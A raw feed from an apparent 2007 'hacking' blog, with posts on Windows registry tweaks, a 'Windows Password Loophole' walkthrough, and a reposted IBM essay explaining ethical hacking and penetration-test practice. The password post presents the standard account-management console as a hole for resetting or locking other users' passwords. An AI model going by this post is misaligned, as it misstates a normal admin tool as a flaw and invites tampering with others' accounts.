HKEY_CURRENT_USER\Control Panel\Desktop&lt;br /&gt;Select MenuShowDelay from the list on the right.&lt;br /&gt;&lt;br /&gt;Right on it and select Modify.&lt;br /&gt;Change the value to 0.&lt;br /&gt;Reboot your computer.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CLICKING * .AVI FILES ON EXPLORER CAUSING 100% CPU USAGE.!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well windows seem to have a REALLY big problem when it comes to reading AVI files. It seems that when you click on an AVI file in explorer, it'll try to read the entire AVI file to determine the width,height, etc. of the AVI file (this is displayed in the Properties window). Now the problem with Windows is that if you have a broken/not fully downloaded AVI file that doesnt contain this info, Windows will scan the entire AVI file trying to figure out all these properties which in the process will probably cause 100% CPU usage and heavy memory usage. To solve this problem all you have to do is the following:&lt;br /&gt;1. Open up regedit&lt;br /&gt;2. Goto HKEY_CLASSES_ROOT\SystemFileAssociations\.avi\shellex\PropertyHandler&lt;br /&gt;3. Delete the "Default" value which should be "{87D62D94-71B3-4b9a-9489-5FE6850DC73E}"&lt;br /&gt;Voila! Please not that this will no longer provide you with the windows properties displaying the AVI file information such as width, height, bitrate etc. But its a small price to pay for saving you resources.&lt;br /&gt;NOTE: Please use caution when using regedit. Improper usage may cause windows to behave imcorrectly. Also, I cannot be held resposible. Backup your registry first.&lt;br /&gt;&lt;br /&gt;CD ROM STOPS AUTOPLAYING/AUTORUN.!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And the AutoPlay Tab has disappeared in My Computer, Devices With Removable Storage, Right Click on CDROM, Properties.&lt;br /&gt;Solution: The service: "Shell Hardware Detection" has been set to Manual or Disabled. Go to Control Panel, Administrative Tools, Services. Return this service to "Automatic".&lt;br /&gt;&lt;br /&gt;How to make your Desktop Icons Transparent&lt;br /&gt;&lt;br /&gt;Go to Control Panel &gt; System, &gt; Advanced &gt; Performance area &gt; Settings button Visual Effects tab "Use drop shadows for icon labels on the Desktop"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;DISPLAY MESSAGE ON STARTUP.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Start regedit, if you are unfamiliar with regedit please see our FAQ.&lt;br /&gt;Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&lt;br /&gt;Modify the key legalnoticecaption with what you want to name the window.&lt;br /&gt;Modify the key legalnoticetext with what you want the window to say. Restart&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;AUTO DELETE TEMPORARY FOLDER.!!&lt;br /&gt;&lt;br /&gt;ll what i prefer is %temp% " without quotes.. at Start -&gt; Run..&lt;br /&gt;this opens ur temp folder n den u cal erase it neatly// still try dis one too..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;First go into gpedit.msc&lt;br /&gt;Next select -&gt; Computer Configuration/Administrative Templates/Windows Components/Terminal Services/Temporary Folder&lt;br /&gt;Then right click "Do Not Delete Temp Folder Upon Exit"&lt;br /&gt;Go to properties and hit disable. Now next time Windows puts a temp file in that folder it will automatically delete it when its done! Note from Forum Admin: Remember, GPEDIT (Group Policy Editor) is only available in XP Pro.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;make ur pdf files to speak&lt;br /&gt;&lt;br /&gt;make ur pdf files to speak&lt;br /&gt;here r the shortcuts for hearing pdf files in abobe reader 6.0 or higher&lt;br /&gt;&lt;br /&gt;ctrl+shift+b ----&gt;to hear the whole topic&lt;br /&gt;ctrl+shift+v ----&gt;to hear the page&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-1365407839683419132?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/1365407839683419132/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=1365407839683419132' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/1365407839683419132'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/1365407839683419132'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/08/tricks-cheats.html' title='Tricks &amp; cheats'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-6154535026443548502</id><published>2007-08-27T07:49:00.000-07:00</published><updated>2007-08-27T07:58:08.221-07:00</updated><title type='text'>Windows Password Loophole</title><content type='html'>I wish i'd quit finding these !! : Rahul&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;a. ok now, what you need to do is to run compmgmt.msc&lt;br /&gt;&lt;br /&gt;b. and click on local users and groups.&lt;br /&gt;&lt;br /&gt;c. once you've gotten here you need to open up the 'users' folder.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;at this point i am walking along with you and notice that there are several&lt;br /&gt;major security holes dealing specifically with the password:&lt;br /&gt;1. double clicking on the any user name allows you a list that looks&lt;br /&gt;something like this:&lt;br /&gt;"user name"&lt;br /&gt;&lt;br /&gt;full name: -----------------------&lt;br /&gt;|__________________|&lt;br /&gt;&lt;br /&gt;description: -----------------------&lt;br /&gt;|__________________|&lt;br /&gt;--&lt;br /&gt;|_| user must change password at next logon&lt;br /&gt;&lt;br /&gt;--&lt;br /&gt;|_| user cannot change password&lt;br /&gt;&lt;br /&gt;--&lt;br /&gt;|/| password never expires&lt;br /&gt;&lt;br /&gt;--&lt;br /&gt;|_| account is disabled&lt;br /&gt;&lt;br /&gt;--&lt;br /&gt;|_| account is locked out&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;"ok" "cancel" "apply"&lt;br /&gt;&lt;br /&gt;ok if you can get past my cheesy drawing, i must ask, did you notice that&lt;br /&gt;the "password never expires" box is checked? if you did, then you may have&lt;br /&gt;realized that this means that you can also uncheck it!&lt;br /&gt;&lt;br /&gt;2. if ure paying attention, you'll see that the 'user must change password&lt;br /&gt;at next logon' box is unchecked. if you put a check in this box of course,&lt;br /&gt;when you shut down the system will prompt for a new password!&lt;br /&gt;&lt;br /&gt;3. going back to step c.,&lt;br /&gt;right click on any account and notice the dialoge that appears:&lt;br /&gt;set password...&lt;br /&gt;all tasks&lt;br /&gt;delete&lt;br /&gt;rename&lt;br /&gt;properties&lt;br /&gt;help&lt;br /&gt;&lt;br /&gt;i think you can handle it from here&lt;br /&gt;&lt;br /&gt;ps. i wonder if you can access this data if this stuff is locked to the user&lt;br /&gt;by the admin by going in through the command prompt. i doubt it but if neone&lt;br /&gt;finds a way let me know.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-6154535026443548502?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/6154535026443548502/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=6154535026443548502' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/6154535026443548502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/6154535026443548502'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/08/windows-password-loophole.html' title='Windows Password Loophole'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-4049946217388950610</id><published>2007-08-27T07:47:00.000-07:00</published><updated>2007-08-27T07:48:51.911-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ethical Hacking  Explanation'/><title type='text'>Ethical Hacking !! Explanation</title><content type='html'>The explosive growth of the Internet has brought many good things: electronic commerce, easy access to vast stores of reference material, collaborative computing, e-mail, and new avenues for advertising and information distribution, to name a few. As with most technological advances, there is also a dark side: criminal hackers. Governments, companies, and private citizens around the world are anxious to be a part of this revolution, but they are afraid that some hacker will break into their Web server and replace their logo with pornography, read their e-mail, steal their credit card number from an on-line shopping site, or implant software that will secretly transmit their organization's secrets to the open Internet. With these concerns and others, the ethical hacker can help. This paper describes ethical hackers: their skills, their attitudes, and how they go about helping their customers find and plug up security holes. The ethical hacking process is explained, along with many of the problems that the Global Security Analysis Lab has seen during its early years of ethical hacking for IBM clients.&lt;br /&gt;&lt;br /&gt;The term “hacker” has a dual usage in the computer industry today. Originally, the term was defined as:&lt;br /&gt;&lt;br /&gt;HACKER noun 1. A person who enjoys learning the details of computer systems and how to stretch their capabilities—as opposed to most users of computers, who prefer to learn only the minimum amount necessary. 2. One who programs enthusiastically or who enjoys programming rather than just theorizing about programming.&lt;br /&gt;&lt;br /&gt;This complimentary description was often extended to the verb form “hacking,” which was used to describe the rapid crafting of a new program or the making of changes to existing, usually complicated software.&lt;br /&gt;&lt;br /&gt;As computers became increasingly available at universities, user communities began to extend beyond researchers in engineering or computer science to other individuals who viewed the computer as a curiously flexible tool. Whether they programmed the computers to play games, draw pictures, or to help them with the more mundane aspects of their daily work, once computers were available for use, there was never a lack of individuals wanting to use them.&lt;br /&gt;&lt;br /&gt;Because of this increasing popularity of computers and their continued high cost, access to them was usually restricted. When refused access to the computers, some users would challenge the access controls that had been put in place. They would steal passwords or account numbers by looking over someone's shoulder, explore the system for bugs that might get them past the rules, or even take control of the whole system. They would do these things in order to be able to run the programs of their choice, or just to change the limitations under which their programs were running.&lt;br /&gt;&lt;br /&gt;Initially these computer intrusions were fairly benign, with the most damage being the theft of computer time. Other times, these recreations would take the form of practical jokes. However, these intrusions did not stay benign for long. Occasionally the less talented, or less careful, intruders would accidentally bring down a system or damage its files, and the system administrators would have to restart it or make repairs. Other times, when these intruders were again denied access once their activities were discovered, they would react with purposefully destructive actions. When the number of these destructive computer intrusions became noticeable, due to the visibility of the system or the extent of the damage inflicted, it became “news” and the news media picked up on the story. Instead of using the more accurate term of “computer criminal,” the media began using the term “hacker” to describe individuals who break into computers for fun, revenge, or profit. Since calling someone a “hacker” was originally meant as a compliment, computer security professionals prefer to use the term “cracker” or “intruder” for those hackers who turn to the dark side of hacking. For clarity, we will use the explicit terms “ethical hacker” and “criminal hacker” for the rest of this paper.&lt;br /&gt;&lt;br /&gt;What is ethical hacking?&lt;br /&gt;&lt;br /&gt;With the growth of the Internet, computer security has become a major concern for businesses and governments. They want to be able to take advantage of the Internet for electronic commerce, advertising, information distribution and access, and other pursuits, but they are worried about the possibility of being “hacked.” At the same time, the potential customers of these services are worried about maintaining control of personal information that varies from credit card numbers to social security numbers and home addresses.2&lt;br /&gt;&lt;br /&gt;In their search for a way to approach the problem, organizations came to realize that one of the best ways to evaluate the intruder threat to their interests would be to have independent computer security professionals attempt to break into their computer systems. This scheme is similar to having independent auditors come into an organization to verify its bookkeeping records. In the case of computer security, these “tiger teams” or “ethical hackers”3 would employ the same tools and techniques as the intruders, but they would neither damage the target systems nor steal information. Instead, they would evaluate the target systems' security and report back to the owners with the vulnerabilities they found and instructions for how to remedy them.&lt;br /&gt;&lt;br /&gt;This method of evaluating the security of a system has been in use from the early days of computers. In one early ethical hack, the United States Air Force conducted a “security evaluation” of the Multics operating systems for “potential use as a two-level (secret/top secret) system.”4 Their evaluation found that while Multics was “significantly better than other conventional systems,” it also had “ … vulnerabilities in hardware security, software security, and procedural security” that could be uncovered with “a relatively low level of effort.” The authors performed their tests under a guideline of realism, so that their results would accurately represent the kinds of access that an intruder could potentially achieve. They performed tests that were simple information-gathering exercises, as well as other tests that were outright attacks upon the system that might damage its integrity. Clearly, their audience wanted to know both results. There are several other now unclassified reports that describe ethical hacking activities within the U.S. military.5-7&lt;br /&gt;&lt;br /&gt;With the growth of computer networking, and of the Internet in particular, computer and network vulnerability studies began to appear outside of the military establishment. Most notable of these was the work by Farmer and Venema,89 in December of 1993. They discussed publicly, perhaps for the first time,10 this idea of using the techniques of the hacker to assess the security of a system. With the goal of raising the overall level of security on the Internet and intranets, they proceeded to describe how they were able to gather enough information about their targets to have been able to compromise security if they had chosen to do so. They provided several specific examples of how this information could be gathered and exploited to gain control of the target, and how such an attack could be prevented. which was originally posted to Usenet&lt;br /&gt;&lt;br /&gt;Farmer and Venema elected to share their report freely on the Internet in order that everyone could read and learn from it. However, they realized that the testing at which they had become so adept might be too complex, time-consuming, or just too boring for the typical system administrator to perform on a regular basis. For this reason, they gathered up all the tools that they had used during their work, packaged them in a single, easy-to-use application, and gave it away to anyone who chose to download it.11 Their program, called Security Analysis Tool for Auditing Networks, or SATAN, was met with a great amount of media attention around the world. Most of this early attention was negative, because the tool's capabilities were misunderstood. The tool was not an automated hacker program that would bore into systems and steal their secrets. Rather, the tool performed an audit that both identified the vulnerabilities of a system and provided advice on how to eliminate them. Just as banks have regular audits of their accounts and procedures, computer systems also need regular checking. The SATAN tool provided that auditing capability, but it went one step further: it also advised the user on how to correct the problems it discovered. The tool did not tell the user how the vulnerability might be exploited, because there would be no useful point in doing so.&lt;br /&gt;&lt;br /&gt;Who are ethical hackers?&lt;br /&gt;&lt;br /&gt;These early efforts provide good examples of ethical hackers. Successful ethical hackers possess a variety of skills. First and foremost, they must be completely trustworthy. While testing the security of a client's systems, the ethical hacker may discover information about the client that should remain secret. In many cases, this information, if publicized, could lead to real intruders breaking into the systems, possibly leading to financial losses. During an evaluation, the ethical hacker often holds the “keys to the company,” and therefore must be trusted to exercise tight control over any information about a target that could be misused. The sensitivity of the information gathered during an evaluation requires that strong measures be taken to ensure the security of the systems being employed by the ethical hackers themselves: limited-access labs with physical security protection and full ceiling-to-floor walls, multiple secure Internet connections, a safe to hold paper documentation from clients, strong cryptography to protect electronic results, and isolated networks for testing.&lt;br /&gt;&lt;br /&gt;Ethical hackers typically have very strong programming and computer networking skills and have been in the computer and networking business for several years. They are also adept at installing and maintaining systems that use the more popular operating systems (e.g., UNIX** or Windows NT**) used on target systems. These base skills are augmented with detailed knowledge of the hardware and software provided by the more popular computer and networking hardware vendors. It should be noted that an additional specialization in security is not always necessary, as strong skills in the other areas imply a very good understanding of how the security on various systems is maintained. These systems management skills are necessary for the actual vulnerability testing, but are equally important when preparing the report for the client after the test.&lt;br /&gt;&lt;br /&gt;Finally, good candidates for ethical hacking have more drive and patience than most people. Unlike the way someone breaks into a computer in the movies, the work that ethical hackers do demands a lot of time and persistence. This is a critical trait, since criminal hackers are known to be extremely patient and willing to monitor systems for days or weeks while waiting for an opportunity. A typical evaluation may require several days of tedious work that is difficult to automate. Some portions of the evaluations must be done outside of normal working hours to avoid interfering with production at “live” targets or to simulate the timing of a real attack. When they encounter a system with which they are unfamiliar, ethical hackers will spend the time to learn about the system and try to find its weaknesses. Finally, keeping up with the ever-changing world of computer and network security requires continuous education and review.&lt;br /&gt;&lt;br /&gt;One might observe that the skills we have described could just as easily belong to a criminal hacker as to an ethical hacker. Just as in sports or warfare, knowledge of the skills and techniques of your opponent is vital to your success. In the computer security realm, the ethical hacker's task is the harder one. With traditional crime anyone can become a shoplifter, graffiti artist, or a mugger. Their potential targets are usually easy to identify and tend to be localized. The local law enforcement agents must know how the criminals ply their trade and how to stop them. On the Internet anyone can download criminal hacker tools and use them to attempt to break into computers anywhere in the world. Ethical hackers have to know the techniques of the criminal hackers, how their activities might be detected, and how to stop them.&lt;br /&gt;&lt;br /&gt;Given these qualifications, how does one go about finding such individuals? The best ethical hacker candidates will have successfully published research papers or released popular open-source security software.12 The computer security community is strongly self-policing, given the importance of its work. Most ethical hackers, and many of the better computer and network security experts, did not set out to focus on these issues. Most of them were computer users from various disciplines, such as astronomy and physics, mathematics, computer science, philosophy, or liberal arts, who took it personally when someone disrupted their work with a hack.&lt;br /&gt;&lt;br /&gt;One rule that IBM's ethical hacking effort had from the very beginning was that we would not hire ex-hackers. While some will argue that only a “real hacker” would have the skill to actually do the work, we feel that the requirement for absolute trust eliminated such candidates. We likened the decision to that of hiring a fire marshal for a school district: while a gifted ex-arsonist might indeed know everything about setting and putting out fires, would the parents of the students really feel comfortable with such a choice? This decision was further justified when the service was initially offered: the customers themselves asked that such a restriction be observed. Since IBM's ethical hacking group was formed, there have been numerous ex-hackers who have become security consultants and spokespersons for the news media. While they may very well have turned away from the “dark side,” there will always be a doubt.&lt;br /&gt;&lt;br /&gt;What do ethical hackers do?&lt;br /&gt;&lt;br /&gt;An ethical hacker's evaluation of a system's security seeks answers to three basic questions:&lt;br /&gt;&lt;br /&gt;* What can an intruder see on the target systems?&lt;br /&gt;* What can an intruder do with that information?&lt;br /&gt;* Does anyone at the target notice the intruder's attempts or successes?&lt;br /&gt;&lt;br /&gt;While the first and second of these are clearly important, the third is even more important: If the owners or operators of the target systems do not notice when someone is trying to break in, the intruders can, and will, spend weeks or months trying and will usually eventually succeed.&lt;br /&gt;&lt;br /&gt;When the client requests an evaluation, there is quite a bit of discussion and paperwork that must be done up front. The discussion begins with the client's answers to questions similar to those posed by Garfinkel and Spafford:13&lt;br /&gt;&lt;br /&gt;1. What are you trying to protect?&lt;br /&gt;2. What are you trying to protect against?&lt;br /&gt;3. How much time, effort, and money are you willing to expend to obtain adequate protection?&lt;br /&gt;&lt;br /&gt;A surprising number of clients have difficulty precisely answering the first question: a medical center might say “our patient information,” an engineering firm might answer “our new product designs,” and a Web retailer might answer “our customer database.”&lt;br /&gt;&lt;br /&gt;All of these answers fall short, since they only describe targets in a general way. The client usually has to be guided to succinctly describe all of the critical information assets for which loss could adversely affect the organization or its clients. These assets should also include secondary information sources, such as employee names and addresses (which are privacy and safety risks), computer and network information (which could provide assistance to an intruder), and other organizations with which this organization collaborates (which provide alternate paths into the target systems through a possibly less secure partner's system).&lt;br /&gt;&lt;br /&gt;A complete answer to (2) specifies more than just the loss of the things listed in answer to (1). There are also the issues of system availability, wherein a denial-of-service attack could cost the client actual revenue and customer loss because systems were unavailable. The world became quite familiar with denial-of-service attacks in February of 2000 when attacks were launched against eBay**, Yahoo!**, E*TRADE**, CNN**, and other popular Web sites. During the attacks, customers were unable to reach these Web sites, resulting in loss of revenue and “mind share.” The answers to (1) should contain more than just a list of information assets on the organization's computer. The level of damage to an organization's good image resulting from a successful criminal hack can range from merely embarrassing to a serious threat to revenue. As an example of a hack affecting an organization's image, on January 17, 2000, a U.S. Library of Congress Web site was attacked. The original initial screen is shown in Figure 1, whereas the hacked screen is shown in Figure 2. As is often done, the criminal hacker left his or her nickname, or handle, near the top of the page in order to guarantee credit for the break-in.&lt;br /&gt;&lt;br /&gt;Figure 1Figure 1 Figure 2Figure 2&lt;br /&gt;&lt;br /&gt;Some clients are under the mistaken impression that their Web site would not be a target. They cite numerous reasons, such as “it has nothing interesting on it” or “hackers have never heard of my company.” What these clients do not realize is that every Web site is a target. The goal of many criminal hackers is simple: Do something spectacular and then make sure that all of your pals know that you did it. Another rebuttal is that many hackers simply do not care who your company or organization is; they hack your Web site because they can. For example, Web administrators at UNICEF (United Nations Children's Fund) might very well have thought that no hacker would attack them. However, in January of 1998, their page was defaced as shown in Figures 3 and 4. Many other examples of hacked Web pages can be found at archival sites around the Web.14&lt;br /&gt;&lt;br /&gt;Figure 3Figure 3 Figure 4Figure 4&lt;br /&gt;&lt;br /&gt;Answers to the third question are complicated by the fact that computer and network security costs come in three forms. First there are the real monetary costs incurred when obtaining security consulting, hiring personnel, and deploying hardware and software to support security needs. Second, there is the cost of usability: the more secure a system is, the more difficult it can be to make it easy to use. The difficulty can take the form of obscure password selection rules, strict system configuration rules, and limited remote access. Third, there is the cost of computer and network performance. The more time a computer or network spends on security needs, such as strong cryptography and detailed system activity logging, the less time it has to work on user problems. Because of Moore's Law,15 this may be less of an issue for mainframe, desktop, and laptop machines. Yet, it still remains a concern for mobile computing.&lt;br /&gt;&lt;br /&gt;The “get out of jail free card”&lt;br /&gt;&lt;br /&gt;Once answers to these three questions have been determined, a security evaluation plan is drawn up that identifies the systems to be tested, how they should be tested, and any limitations on that testing. Commonly referred to as a “get out of jail free card,” this is the contractual agreement between the client and the ethical hackers, who typically write it together. This agreement also protects the ethical hackers against prosecution, since much of what they do during the course of an evaluation would be illegal in most countries. The agreement provides a precise description, usually in the form of network addresses or modem telephone numbers, of the systems to be evaluated. Precision on this point is of the utmost importance, since a minor mistake could lead to the evaluation of the wrong system at the client's installation or, in the worst case, the evaluation of some other organization's system.&lt;br /&gt;&lt;br /&gt;Once the target systems are identified, the agreement must describe how they should be tested. The best evaluation is done under a “no-holds-barred” approach. This means that the ethical hacker can try anything he or she can think of to attempt to gain access to or disrupt the target system. While this is the most realistic and useful, some clients balk at this level of testing. Clients have several reasons for this, the most common of which is that the target systems are “in production” and interference with their operation could be damaging to the organization's interests. However, it should be pointed out to such clients that these very reasons are precisely why a “no-holds-barred” approach should be employed. An intruder will not be playing by the client's rules. If the systems are that important to the organization's well-being, they should be tested as thoroughly as possible. In either case, the client should be made fully aware of the risks inherent to ethical hacker evaluations. These risks include alarmed staff and unintentional system crashes, degraded network or system performance, denial of service, and log-file size explosions.&lt;br /&gt;&lt;br /&gt;Some clients insist that as soon as the ethical hackers gain access to their network or to one of their systems, the evaluation should halt and the client be notified. This sort of ruling should be discouraged, because it prevents the client from learning all that the ethical hackers might discover about their systems. It can also lead to the client's having a false sense of security by thinking that the first security hole found is the only one present. The evaluation should be allowed to proceed, since where there is one exposure there are probably others.&lt;br /&gt;&lt;br /&gt;The timing of the evaluations may also be important to the client. The client may wish to avoid affecting systems and networks during regular working hours. While this restriction is not recommended, it reduces the accuracy of the evaluation only somewhat, since most intruders do their work outside of the local regular working hours. However, attacks done during regular working hours may be more easily hidden. Alerts from intrusion detection systems may even be disabled or less carefully monitored during the day. Whatever timing is agreed to, the client should provide contacts within the organization who can respond to calls from the ethical hackers if a system or network appears to have been adversely affected by the evaluation or if an extremely dangerous vulnerability is found that should be immediately corrected.&lt;br /&gt;&lt;br /&gt;It is common for potential clients to delay the evaluation of their systems until only a few weeks or days before the systems need to go on-line. Such last-minute evaluations are of little use, since implementations of corrections for discovered security problems might take more time than is available and may introduce new system problems.&lt;br /&gt;&lt;br /&gt;In order for the client to receive a valid evaluation, the client must be cautioned to limit prior knowledge of the test as much as possible. Otherwise, the ethical hackers might encounter the electronic equivalent of the client's employees running ahead of them, locking doors and windows. By limiting the number of people at the target organization who know of the impending evaluation, the likelihood that the evaluation will reflect the organization's actual security posture is increased. A related issue that the client must be prepared to address is the relationship of the ethical hackers to the target organization's employees. Employees may view this “surprise inspection” as a threat to their jobs, so the organization's management team must be prepared to take steps to reassure them.&lt;br /&gt;&lt;br /&gt;The ethical hack itself&lt;br /&gt;&lt;br /&gt;Once the contractual agreement is in place, the testing may begin as defined in the agreement. It should be noted that the testing itself poses some risk to the client, since a criminal hacker monitoring the transmissions of the ethical hackers could learn the same information. If the ethical hackers identify a weakness in the client's security, the criminal hacker could potentially attempt to exploit that vulnerability. This is especially vexing since the activities of the ethical hackers might mask those of the criminal hackers. The best approach to this dilemma is to maintain several addresses around the Internet from which the ethical hacker's transmissions will emanate, and to switch origin addresses often. Complete logs of the tests performed by the ethical hackers are always maintained, both for the final report and in the event that something unusual occurs. In extreme cases, additional intrusion monitoring software can be deployed at the target to ensure that all the tests are coming from the ethical hacker's machines. However, this is difficult to do without tipping off the client's staff and may require the cooperation of the client's Internet service provider.&lt;br /&gt;&lt;br /&gt;The line between criminal hacking and computer virus writing is becoming increasingly blurred. When requested by the client, the ethical hacker can perform testing to determine the client's vulnerability to e-mail or Web-based virus vectors. However, it is far better for the client to deploy strong antivirus software, keep it up to date, and have a clear and simple policy in place for the reporting of incidents. IBM's Immune System for Cyberspace16,17 is another approach that provides the additional capability of recognizing new viruses and reporting them to a central lab that automatically analyzes the virus and provides an immediate vaccine.&lt;br /&gt;&lt;br /&gt;As dramatized in Figure 5, there are several kinds of testing. Any combination of the following may be called for:&lt;br /&gt;&lt;br /&gt;* Remote network. This test simulates the intruder launching an attack across the Internet. The primary defenses that must be defeated here are border firewalls, filtering routers, and Web servers.&lt;br /&gt;* Remote dial-up network. This test simulates the intruder launching an attack against the client's modem pools. The primary defenses that must be defeated here are user authentication schemes. These kinds of tests should be coordinated with the local telephone company.&lt;br /&gt;* Local network. This test simulates an employee or other authorized person who has a legal connection to the organization's network. The primary defenses that must be defeated here are intranet firewalls, internal Web servers, server security measures, and e-mail systems.&lt;br /&gt;* Stolen laptop computer. In this test, the laptop computer of a key employee, such as an upper-level manager or strategist, is taken by the client without warning and given to the ethical hackers. They examine the computer for passwords stored in dial-up software, corporate information assets, personnel information, and the like. Since many busy users will store their passwords on their machine, it is common for the ethical hackers to be able to use this laptop computer to dial into the corporate intranet with the owner's full privileges.&lt;br /&gt;* Social engineering. This test evaluates the target organization's staff as to whether it would leak information to someone. A typical example of this would be an intruder calling the organization's computer help line and asking for the external telephone numbers of the modem pool. Defending against this kind of attack is the hardest, because people and personalities are involved. Most people are basically helpful, so it seems harmless to tell someone who appears to be lost where the computer room is located, or to let someone into the building who “forgot” his or her badge. The only defense against this is to raise security awareness.&lt;br /&gt;* Physical entry. This test acts out a physical penetration of the organization's building. Special arrangements must be made for this, since security guards or police could become involved if the ethical hackers fail to avoid detection. Once inside the building, it is important that the tester not be detected. One technique is for the tester to carry a document with the target company's logo on it. Such a document could be found by digging through trash cans before the ethical hack or by casually picking up a document from a trash can or desk once the tester is inside. The primary defenses here are a strong security policy, security guards, access controls and monitoring, and security awareness.&lt;br /&gt;&lt;br /&gt;Figure 5Figure 5&lt;br /&gt;&lt;br /&gt;Each of these kinds of testing can be performed from three perspectives: as a total outsider, a “semi-outsider,” or a valid user.&lt;br /&gt;&lt;br /&gt;A total outsider has very limited knowledge about the target systems. The only information used is available through public sources on the Internet. This test represents the most commonly perceived threat. A well-defended system should not allow this kind of intruder to do anything.&lt;br /&gt;&lt;br /&gt;A semi-outsider has limited access to one or more of the organization's computers or networks. This tests scenarios such as a bank allowing its depositors to use special software and a modem to access information about their accounts. A well-defended system should only allow this kind of intruder to access his or her own account information.&lt;br /&gt;&lt;br /&gt;A valid user has valid access to at least some of the organization's computers and networks. This tests whether or not insiders with some access can extend that access beyond what has been prescribed. A well-defended system should allow an insider to access only the areas and resources that the system administrator has assigned to the insider.&lt;br /&gt;&lt;br /&gt;The actual evaluation of the client's systems proceeds through several phases, as described previously by Boulanger.18&lt;br /&gt;&lt;br /&gt;The final report&lt;br /&gt;&lt;br /&gt;The final report is a collection of all of the ethical hacker's discoveries made during the evaluation. Vulnerabilities that were found to exist are explained and avoidance procedures specified. If the ethical hacker's activities were noticed at all, the response of the client's staff is described and suggestions for improvements are made. If social engineering testing exposed problems, advice is offered on how to raise awareness. This is the main point of the whole exercise: it does clients no good just to tell them that they have problems. The report must include specific advice on how to close the vulnerabilities and keep them closed. The actual techniques employed by the testers are never revealed. This is because the person delivering the report can never be sure just who will have access to that report once it is in the client's hands. For example, an employee might want to try out some of the techniques for himself or herself. He or she might choose to test the company's systems, possibly annoying system administrators or even inadvertently hiding a real attack. The employee might also choose to test the systems of another organization, which is a felony in the United States when done without permission.&lt;br /&gt;&lt;br /&gt;The actual delivery of the report is also a sensitive issue. If vulnerabilities were found, the report could be extremely dangerous if it fell into the wrong hands. A competitor might use it for corporate espionage, a hacker might use it to break into the client's computers, or a prankster might just post the report's contents on the Web as a joke. The final report is typically delivered directly to an officer of the client organization in hard-copy form. The ethical hackers would have an ongoing responsibility to ensure the safety of any information they retain, so in most cases all information related to the work is destroyed at the end of the contract.&lt;br /&gt;&lt;br /&gt;Once the ethical hack is done and the report delivered, the client might ask “So, if I fix these things I'll have perfect security, right?” Unfortunately, this is not the case. People operate the client's computers and networks, and people make mistakes. The longer it has been since the testing was performed, the less can be reliably said about the state of a client's security. A portion of the final report includes recommendations for steps the client should continue to follow in order to reduce the impact of these mistakes in the future.&lt;br /&gt;&lt;br /&gt;Conclusions&lt;br /&gt;&lt;br /&gt;The idea of testing the security of a system by trying to break into it is not new. Whether an automobile company is crash-testing cars, or an individual is testing his or her skill at martial arts by sparring with a partner, evaluation by testing under attack from a real adversary is widely accepted as prudent. It is, however, not sufficient by itself. As Roger Schell observed nearly 30 years ago:&lt;br /&gt;&lt;br /&gt;From a practical standpoint the security problem will remain as long as manufacturers remain committed to current system architectures, produced without a firm requirement for security. As long as there is support for ad hoc fixes and security packages for these inadequate designs and as long as the illusory results of penetration teams are accepted as demonstrations of a computer system security, proper security will not be a reality.19&lt;br /&gt;&lt;br /&gt;Regular auditing, vigilant intrusion detection, good system administration practice, and computer security awareness are all essential parts of an organization's security efforts. A single failure in any of these areas could very well expose an organization to cyber-vandalism, embarrassment, loss of revenue or mind share, or worse. Any new technology has its benefits and its risks. While ethical hackers can help clients better understand their security needs, it is up to the clients to keep their guards in place.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-4049946217388950610?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link 